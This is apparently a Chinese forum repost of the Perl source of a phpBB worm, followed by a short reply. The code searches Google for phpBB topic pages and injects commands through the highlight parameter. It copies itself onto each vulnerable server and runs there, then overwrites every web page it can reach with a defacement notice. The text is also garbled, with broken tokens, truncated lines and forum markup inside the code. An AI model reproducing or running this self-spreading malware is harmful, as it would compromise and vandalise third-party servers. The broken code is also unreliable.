PHPBB蠕虫病毒phpbb-worm.pl
信息来源：暗域网络[code]#!/usr/bin/perl
use
strict;
use Socket;
sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);
eval{ fork and exit; };
my $generation = 9;
PayLoad() if $generation > 3;
open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;
while(!GrabURL('[url]http://www.google.com/advanced_search[/url]')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}
$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';
while(1) {
exit if -e 'stop.it';
OUTER: for my $url (GoGoogle()) {
exit if -e 'stop.it';
$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),' . str2chr($1) . '),exit%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $portion;
next OUTER unless GrabURL($url);
}
my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;
GrabURL($url);
}
}
sub str2chr($) {
my $s = shift;
$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;
return $s;
}
sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = '[url]http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all[/url]' . '&q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('[url]www.google.com[/url]' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#[url]http://.[/url]*[url]http://#i;[/url] # no redirects
push(@urls, $u);
}
return @urls;
}
sub GrabURL($) {
my $url = shift;
$url =~ s#^[url]http://##i;[/url]
my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);
my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";
my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;
my $answer = join '', <Server>;
close (Server);
return $answer;
}
sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This siteis defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}
sub DoDir($) {
my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;
local *DIR;
opendir DIR, $dir or return;
for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}
if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}
closedir DIR;
}
sub Pay Load() {
my @dirs;
eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};
push(@dirs, '/ ');
for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}[/code] 这么长。顶。
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